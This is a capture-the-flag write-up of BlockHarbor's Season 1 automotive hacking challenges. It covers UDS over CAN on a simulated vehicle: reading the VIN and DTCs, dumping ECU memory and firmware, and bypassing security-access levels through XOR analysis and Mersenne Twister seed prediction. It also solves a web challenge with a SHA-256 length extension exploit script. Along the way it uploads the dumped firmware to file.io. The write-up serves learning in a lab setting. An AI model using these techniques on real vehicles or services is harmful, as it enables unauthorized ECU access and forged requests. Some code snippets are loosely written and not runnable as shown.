⛳️ CTF
BlockHarbor CTF - Season 1
BlockHarbor CTF Season1 Write up
Overview
BlockHarbor, a company specializing in automotive cybersecurity, launched its Capture the Flag (CTF) competition last year. The event ran from July 28th at 10 AM to October 10th at 5 PM (EST), featuring challenges in web hacking, system hacking, reverse engineering, OSINT, cryptography, and car hacking. Prizes were awarded for the top 10 participants. For this article, I focused on automotive hacking, the competition's core discipline.
Challenges
VSEC HarborBay
Simulation VIN (40pts)
This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.
Retrieve the VIN of the simulation using UDS.
VSEC: https://vsec.blockharbor.io/login
In this challenge, you will access a cloud server that implements a fictional vehicle communications environment called VSEC.l

In addition, the vcan0 interface had a CAN channel assigned to it and was periodically sending 2 bytes of 9E 10 data from 59E (Arb ID) when messages were received via the candump command.

The key to the Challenge is to read the VIN data of the simulation device. This is part of the Unified Diagnostic Service (UDS) and simply accesses the F1 90 (VIN) via the 22 (Read By Identifier) diagnostic service.
However, we don't know which identifier to request, so we construct the request ID by checking the responding ID via a Functional Request (7DF).
cansend vcan0 7DF#0322F190

When the 7DF (Arb ID) message is sent, the 7E8 (Arb ID) responds and contains the response data for the 22 F1 90 diagnostic message.
If the responding controller (*called the controller here) responds with 7E8, the request ID will be 7E0, a value of -8.
That's correct. Now all we need to do is read the message frames being sent. Since the start byte of the message is 10, it is a message being sent as a Consecutive Frame. The next coming byte is 14 , so the message has a total length of 14 bytes.
To read this message, a Flow Control message must be sent: (30 14 00)

You've read all the messages! Now you can convert the value of 66 6C 61 | 67 7B 76 31 6E 5F 42 | 48 6D 61 63 68 33 7D which is the actual VIN data, to ASCII. candump has a convenient option for ASCII display: (-a)

FLAG: flag{v1n_BHmach3}
Startup Message (50pts)
This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.
It seems the simulation broadcasts some diagnostic information on arbitration ID 0x7DF when booting up, what does this message say? (in ASCII)
HINT: How can you get an ECU to restart?
VSEC: https://vsec.blockharbor.io/login
In this challenge, you are challenged to see if you can perform an ECU reset. It is also part of the Unified Diagnostic Service (UDS) and a successful ECU reset is achieved by accessing 11 (ECU Reset ID) 01 (Hard Reset).

Send a message and 7E8 (Arb ID) will respond. 67 30 47 72 65 33 6E This is the flag.
FLAG: g0Gre3n
Engine Trouble (75pts)
This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.
The simulation's engine light is on, can you read the diagnostic code?
Check out our youtube walkthrough if you get stuck: https://www.youtube.com/watch?v=IaUL0dA4Z_Y
VSEC: https://vsec.blockharbor.io/login
The challenge is to see if the engine warning light is active and you can read the associated diagnostic code.
For this challenge, we'll provide you with a YouTube guide video that you can refer to when it comes to diagnostic codes.
To read diagnostic codes from the Unified Diagnostic Service (UDS), you must make a request to the 0x19 (Read DTC Information) service.

That is, a DTC diagnostic request message might be organized as follow
cansend vcan0 7E0#031902XX
In order to read the DTC for the warning light, an additional status bit must be set, so it is 0x80 (warning Indicator Requested) can be set.

cansend vcan0 7E0#03190280

Diagnostic code information is displayed as 3E 9F 01 AB
The challenge stated The format of the DTC is Pxxxx-xx. Example answer: P1234-01.
Therefore, P3E9F-01 would be the correct answer.
Secrets in Memory? (100pts)
This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.
It seems the simulation allows access to only some off-chip sections of memory, are there any secrets in the visible memory?
The memory region starts at 0xC3F80000 and the flag is in the format flag{...}
VSEC: https://vsec.blockharbor.io/login
The challenge is to find the secret key by reading the address of an ECU memory area.
The UDS Diagnostics service has several services for diagnostics, including the ReadMemoryByAddress diagnostic service, which supports memory read operations. This allows you to access the ECU memory.

The structure of the ReadMemoryByAddress message is defined as follows:
Request SID (0x23) | addressAndLengthFormatIdentifier | MemoryAddress | MemorySize
The addressAndLengthFormatIdentifier is a 1 byte value that encodes each nibble of the MemoryAddress and MemorySize.
- Bits 3-0: memoryAddress parameter
- Bits 7-4: memorySize parameter
For example, if the memory address we use is 0xC3F80000, it is represented as 0xC3 0xF8 0x00 0x00 for the MemoryAddress. The address consists of 4 bytes, and the memory size is 1 byte, represented by 0xFF. Therefore, the addressAndLengthFormatIdentifier would be 0x14.

If everything is correct, we can try to read the memory from address 0xC3F80000 repeatedly for a certain range and if successful we can get data from the ECU.

Security Access Level 3 (150pts)
This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.
The simulation is implementing service 0x27 Security Access Level 3 using MAAATH. Can you find the key and break in?
The flag is the key to unlock with seed 1337 in hex (example a5a5)
The challenge says that you implemented SecurityAccess(0x27) level 3 using MAAATH. As an added explanation, you need to find a key that can unlock the seed for 1337.
This challenge can be solved with simple repetitive requests.
As you might expect, if you ask for a seed for level 3 and get a seed value of 1337, you can approach it with mathematical concepts like the XOR operation.

However, the seed at 0x1337 does not appear to be generated periodically, but at completely random intervals, so it will take a lot of time to reach all requests within the valid range (0xff).
So, we revisited the problem with a different approach, and the hint read
The flag is the key to unlock with seed 1337 in hex (example a5a5)
flag is the two bytes of key you send (example: 55aa)
If you think about 55aa / aa55, you can see that it's a simple mathematical operation and we tried it: we computed the value 0xFFFF , which inverts all the bits in 0x1337, and finally got the value 0xECC8, which matched the flag.
Security Access Level 1 (300pts)
This challenge is within the Harborbay vehicle simulator on VSEC. From the home page, enter HarborBay. Select the Mach-E UDS Challenge Simulation, then launch the terminal.
Level 3 provides access to a new diagnostic session and some new memory at 0x1A000, but we still don't have full control of the module. Can you provide a valid key for security access level 1?
The flag is the key to unlock with seed 7D0E1A5C in hex (example 12345678)
The challenge informed us that the key to unlock the 7D0E1A5C seed by accessing SecurityAccess level 1 is flagged, and we aim to find it. In the previous challenge, we gained access to a new diagnostic session and some memory ranges (0x1A000) with Security Access Level 3.
What results do I see when I unlock Level 3 and read memory for 0x1A000?

At the 0x1A000 starting address, we can see the bHSM (Secure Memory) string, but other than that, we didn't find any meaningful data.
A hardware security module (HSM) is a hardware device that secures the entire cryptographic process to keep the secret key safe.
Based on this, the problem can infer that if a particular cryptographic key operation is performed, or any cryptographic process for that matter, it will be recorded in the HSM memory area.
That's right, you can think of it as being related to Security Access.

In fact, my guess was correct.
When you request a Seed through Security Access, there is a series of cryptographic processes that perform key operations on the Seed on the HSM. During this process, you may notice that the HSM stores the computed key value or stores the value needed for the computation.
At level 3, the seed is 4 bytes (e.g., 0x11223344).
To determine what value the data stored in the HSM represents, we requested the Seed and compared it. As a result, we can infer that the first 4 bytes, except for the first 1 byte, represent the requested Seed value, followed by the operation key for this 4-byte Seed.
In the picture, 281ffd29 represents the Seed and 7d26573e is the secret key used for the Key operation. However, we don't know how the encryption is handled between the two seeds and the operation key, so we check the result with the simplest XOR.
(281FFD29 [XOR] 7d26573e = 5539AA17
I can see that when we XOR the two values, we get the value 5539AA17. However, this result isn't definitive, so we decide to request a new seed and compare the results of the same XOR encryption.

The HSM result for the new Seed request is: (Seed: 8c19db46 / XOR Key: d9207151)
(8c19db46 [XOR] d9207151 = 5539AA17)
The results are the same as before. The Seed and XOR Key are always different, but the result for the XOR is the same. Here we can see that we can always operate on any value and it will produce the same result.
If so, we know that 7D0E1A5C ^ (Key) = Secret Key is Flag because the problem tells us that 7D0E1A5C is Seed. In an XOR expression, if the result of the operation exists, it tells us which Key was used in the operation. 7D0E1A5C ^ Secret Key = Key
That is, 7D0E1A5C ^ 5539AA17 = 2837B04B
The value of the key means 2837B04B. Now we just need to authenticate this value.
User Space Diagnostics
Read Data By Identifier (75pts)
This challenge is within the Harborbay vehicle simulator on VSEC.
From the home page, enter HarborBay.
Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
Can you identify the data?
This challenge is believed to be related to the ReadDataByIdentifier (0x22) service of the UDS Diagnostics service.
If you read the challenge description, it asks Can you identify the data? It appears from the title that the challenge is trying to read a specific data record through the ReadDataByIdentifier diagnostic service.

Request Messages are defined as follows It requires the values SID / dataIdentifier(#1 ~ #m)
We just need to send the request according to the structure of the diagnostic message request message.
In this challenge, we don't know the exact value of the data record, so we run two byte values in an iteration. Here is an example
for i in range(0xff+1):
for j in range(0xff+1)
cansend(0x22, i, j)
...
That way, we can read all of the specified data records in the range.


Routine Control (100pts)
This challenge is within the Harborbay vehicle simulator on VSEC.
From the home page, enter HarborBay.
Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
I hear routine control has a lot of fun features.
The challenge appears to be related to the RoutineControl (0x31) service of the UDS Diagnostics service. From reading the challenge description, I hear routine control has a lot of fun features.
Below you can see the detailed message structure for RoutineControl.

Request Messages are defined as follows It requires the values SID / SubFunction / routineIdentifier(2 Byte, MSB/LSB) / routineControlOptionRecord (#1 ~ #m)
SubFunction is used to RoutineControl, so we decided to take a closer look at it.

The main functions are startRoutine, stopRoutine, and requestRoutineResults. We'll use startRoutine, the most common of them all.
The example data might look like this
31 (RoutineControl SID) | 01 (startRoutine SubFunction) | ?? (Byte1) | ?? (Byte2)
In the previous challenge, we explored by running a loop over the dataIdentifier, so this time we need to do the same to find the data record for routineIdentifier. Here is an example,
for i in range(0xff+1):
for j in range(0xff+1)
cansend(0x31, 0x01, i, j)
...

After doing so, wait for a while and you will finally find the 0x1337 routineID.

Now that we have successfully activated the routine, we will request the RoutineResult through the 03 SubFunction. This will respond to CAN messages with ASCII data.

Simply interpret the responding CAN data as ASCII characters and it is a challenge flag.
Security Access Level 1 (150pts)
This challenge is within the Harborbay vehicle simulator on VSEC.
From the home page, enter HarborBay.
Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
I hear single byte XOR keys are a great security measure, can you prove me wrong?
In this challenge, it seems we need to verify whether we can pass the Security Access authentication. The challenge indicates that the security algorithm used to generate the Security Key is a Single XOR Byte. Let's proceed with a detailed analysis of the challenge below.

The challenge requires access to Level 1, so we request Security Access using the bytes 27 01. After repeating this process several times, it became clear that the Seed is composed of relatively simple values, as it uses Single Byte XOR.
To solve the challenge, we can consider generating the Security Key by combining the generated Seed with a Single Byte XOR operation.
for i in range(0xff+1) # Single Byte XOR roop (0x00 ~ 0xff)
cansend(0x27, 0x01)
seed = canrecv() # (e.g.) expected result 66 C6 9B B8 ...
key = [s ^ i for s in seed]
cansend(0x27, 0x02, key)

Once the correct 1-byte XOR key is found, the Security Access will finally be unlocked, and the flag can be obtained.
Security Access Level 3 (250pts)
This challenge is within the Harborbay vehicle simulator on VSEC.
From the home page, enter HarborBay.
Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
Bit twiddling is pretty common on a lot of vehicles, hope you can implement it!
You will need to dump the firmware of the appliation to do this, and further challenges. As a hint, think of where linux applications get mapped without ASLR?
It seems that the mission in this challenge is also to unlock Security Access. The challenge description mentions bit twiddling, and it appears that we need to dump the firmware and analyze the implemented logic. The hint related to the firmware dump suggests that it is located at the position where a Linux application would be mapped without ASLR.
The task we need to accomplish is to first dump the firmware. In vehicle UDS diagnostics, we can read the ECU memory using ReadMemoryByAddress, and once we read the memory and save it as binary data, that’s it.

The structure of the ReadMemoryByAddress message is defined as follows:
Request SID (0x23) | addressAndLengthFormatIdentifier | MemoryAddress | MemorySize
The addressAndLengthFormatIdentifier is a 1 byte value that encodes each nibble of the MemoryAddress and MemorySize.
- Bits 3-0: memoryAddress parameter
- Bits 7-4: memorySize parameter
For example, if the memory address we use is 0x400000, it is represented as 0x00 0x40 0x00 0x00 for the MemoryAddress. The address consists of 4 bytes, and the memory size is 4 byte, represented by 0x00, 0x00, 0x08, 0x00. Therefore, the addressAndLengthFormatIdentifier would be 0x44.
while True:
addr_list = [
(addr&0xFF000000) >> 24,
(addr&0x00FF0000) >> 16,
(addr&0x0000FF00) >> 8,
(addr&0x000000FF),
]
cansend(0x23, 0x14 + addr_list + 0x00, 0x00, 0x08, 0x00) # Start in 0x400000
addr = addr + 0x800

Afterward, create the correct message structure and send the request to the ECU. You will observe a lot of CAN data while reading the memory. Since you need to read and dump a significant amount of memory, this process may take quite some time.

Once the memory reading is complete, save the read data as a binary file. In my case, I saved it as firmware_0x400000.bin .
However, the VSEC environment we are using is not accessible from outside and is similar to a Serial Console. Since we need to be able to extract the firmware dump file externally, we will use the upload feature of file.io for this purpose.

You can simply upload the file to the server using the Python module requests. We will use this module to upload the firmware dump file to the file.io server.
import requests
import sys
BASE_URL = "https://file.io"
def upload(filename: str):
upload_url = f"{BASE_URL}/?title={filename}"
with open(filename, 'rb') as file:
files = {'file': file}
response = requests.post(upload_url, files=files)
return response
filename = sys.argv[1]
response = upload(filename)
print(response.text)

From this point, after loading the firmware using the Ghidra Reverse Engineering Tool and applying the basic analysis options, the firmware is analyzed. Next, the function that handles UDS functionality is located, followed by the Memory Mapping process, and variables are renamed for easier identification. In my case, the starting address of the function handling the UDS functionality was at address 0x407e8b

Understanding the logic is relatively straightforward. The seed consists of 4 bytes, and after performing calculations using the value of each byte, the result is stored in the auStack_24 (Security Key) variable. By utilizing the operations used in these calculations, the Security Key value can be determined.
key[0] = ((seed[0] + (seed[3] ^ seed[0]) ^ 0xfe) - (seed[3] << 4)) & 0xff
key[1] = ((seed[1] + (seed[2] ^ seed[1]) ^ 0xed) - (seed[2] << 4)) & 0xff
key[2] = ((seed[2] + (seed[1] ^ seed[3]) ^ 0xfa) - (seed[1] << 4)) & 0xff
key[3] = ((seed[3] + (seed[0] ^ seed[2]) ^ 0xce) - (seed[0] << 4)) & 0xff
print(key)
After calculating the Security Key, you can obtain the flag by authenticating at Security Access Level 3.

Security Access Level 5 (1000pts)
This challenge is within the Harborbay vehicle simulator on VSEC.
From the home page, enter HarborBay.
Select the Mach-E User Space Diagnostics Challenge Simulation, then launch the terminal.
I hear pseudo-random can be predicted, but we dont know how! Maybe you can prove it.
The main goal of this challenge is to unlock Security Access. The task is to achieve Access Level 5, which I will analyze below.
This challenge involves an authentication logic implemented in the firmware file that was dumped from memory at Access Level 3. I will continue using the same firmware file for this task.

By analyzing the function that handles UDS functionality, you can identify the branch logic corresponding to Level 5. For ease of identification, this function has been renamed to Level5_GenerateSeed. The uVar4 variable uses the result returned by Level5_GenerateSeed, which I suspect to be the Seed Byte.
The auStack_24 variable represents the Security Key and simply uses the Seed Byte through bit shifting operations.

Although a lot of operations are performed, their exact nature is not clear. However, there is one address used in AND operations, such as 0x9d2c5680 and 0xefc60000. To determine the meaning of this address, I used a search engine.

The result was surprising. By simply searching for the address, I immediately discovered that it is used in the Mersenne Twister algorithm.

The logic implemented is nearly identical to the Mersenne Twister algorithm. Understanding the principles of this algorithm makes it relatively easy to determine the Security Key.
According to what is known, the Mersenne Twister algorithm can determine the current state of the generator and predict future random numbers with a finite number of random numbers (in this case, 624), given knowledge of the random number characteristics (such as period and range).
In other words, by generating 624 seeds, it is possible to predict the subsequent seeds that will be generated.

You could write code to predict these random numbers, but there is already well-known code available for this purpose. In my case, I wrote code to predict the next random number by requesting 624 seeds as follows.
Based on what we have seen so far, the Security Key is determined using the value from the second seed after requesting the first seed. In other words, if you can predict the next seed, you can solve the challenge.
for i in range(624):
self.gs.send(bytearray([0x27, 0x05]))
generate_seed = self.gs.recv()[2:].hex()
rc.submit(int(generate_seed, 16))
key = list(struct.pack(">I", (rc.predict_randrange(0, 4294967295))))
That is correct. It worked without issues, allowing me to accurately predict the next 624 random numbers and thus determine the Security Key. Finally, authenticating at Level 5 enabled me to obtain the flag.

Custom Firmware (2000pts) - TBD
Crypto
Holy Hell (500pts)
Can you retreive info about the following VIN: 1337 If so, let us know, we want to know about that vehicle!
celsius.blockharbor.io:5800

When you access the challenge, you'll see the following screen, where Lookup and Generate exist, with the Generate function generating random Vehicle Identification Number (VIN) data and the Lookup function outputting vehicle information associated with the generated VIN data.
The source code associated with this is shown below.
<script>
$(document).ready(function() {
$('#vinForm').submit(function(event) {
event.preventDefault();
var vin = $('#vinInput').val();
lookupVIN(vin);
});
});
function lookupVIN(vin) {
var url = '/vin/info?vin=' + encodeURIComponent(vin);
$.ajax({
url: url,
type: 'GET',
success: function(response) {
$('#result').html(response);
},
error: function(xhr, status, error) {
$('#result').html('Error: ' + error);
}
});
}
function registerVIN() {
$.ajax({
url: '/vin/register',
type: 'GET',
success: function(response) {
var vinValue = response.split('=')[1];
<!-- lol raw write to the dom -->
$('#vinInput').val(vinValue);
$('#result').html('');
var cookieHeader = xhr.getResponseHeader('Set-Cookie');
if (cookieHeader) {
var cookieParts = cookieHeader.split(';');
var cookie = cookieParts[0];
document.cookie = cookie;
}
},
error: function(xhr, status, error) {
$('#result').html('Error: ' + error);
}
});
}
</script>
lookupVIN() The lookupVIN function in Javascript works with the Lookup function. Using the function, you can retrieve the /vin/info?vin={encodeURIComponent(vin)} and gets the result back from the endpoint via Ajax.
RegisterVIN() The ReigserVIN function in Javascript works with the Generate function. Using the function, you can retrieve the /vin/register and gets the result back from the endpoint via Ajax.
To understand this feature, we have organized it as follows.
1. Generate -> Generate VIN and signature values -> Lookup -> Validate VIN and signature values and output matching data
Also, you can't provide an arbitrary VIN value for the lookup because the normal practice is to generate the signature in Generate and store it in a cookie as a key value for the signature name in the browser. If you skip this step, the signature verification step will fail.


The challenge didn't provide any source code, so we can only speculate that the signature might be causing problems. So we had to find a way to get the code to generate the signature.
Here I used the dirsearch (Web path scanner) tool, expecting that any path would have an Endpoint that we could access.

When accessing the (/app) endpoint found through the Path search tool, you can see the main source code as follows

The source code is downloaded via the wget command because it has no newlines.
wget http://celsius.blockharbor.io:5800/app -O app.py
_SECURE_BYTES = urandom(16)
def calc_sig(data):
if type(data) != bytes:
data = data.encode()
md = sha256(_SECURE_BYTES + data)
return md.hexdigest()
If you analyze the calc_sig() function that calculates the signature value, you'll see that it generates an insecure signature value. It is computing the digest via the SHA-256 hash algorithm of the input data prefixed with a random 128-bit key. This makes it vulnerable to a Length Extension Attack (LEA) attack.
This is because if there is a signed input, the LEA attack can compute a valid signature value for the input of the data added.
The challenge server uses the value generated by the signature algorithm. The server requests the entered value from the /vin/info endpoint via the HTTP GET method and generates something like ?vin=WDBGA51G3X7YW6UV6

The SHA-256 hash algorithm, by its nature of hashing data into 64 byte blocks, must include a padding message in multiples of 64 bytes before the hash is computed or before processing the block to contain the padding.
The LEA attack requires that the SHA-256 hash function can be set manually, but the hashlib module typically provided in Python cannot be set manually. Therefore, the hextend module can be used to implement this.
Now you're all set. Generate a valid VIN and signature on the challenge server and perform a length extension attack based on it.
from urllib.parse import quote
import hlextend
import requests
def calc_sig(vin: str, sig: str, pwn_vin: str):
md = hlextend.new('sha256')
vin = b'vin=' + vin.encode()
pwn_vin = b'&vin=' + pwn_vin.encode()
query = md.extend(pwn_vin, vin, 16, sig)
return (query, md.hexdigest())
def solve():
url = 'http://celsius.blockharbor.io:5800/vin/info?'
query, signature = calc_sig('KMHCF34G4109UUGEF', '132a83ce69a2e742a8959cf0253fc34442c5cbb7a849bb96c640eb7b34a3e520', '1337')
print(f"Query: {query}")
print(f"Signature: {signature}")
query = quote(query)
cookies = {'signature': signature}
r = requests.get(url+query, cookies=cookies)
print(r.url)
print(r.text)
solve()
References
- https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.180-4.pdf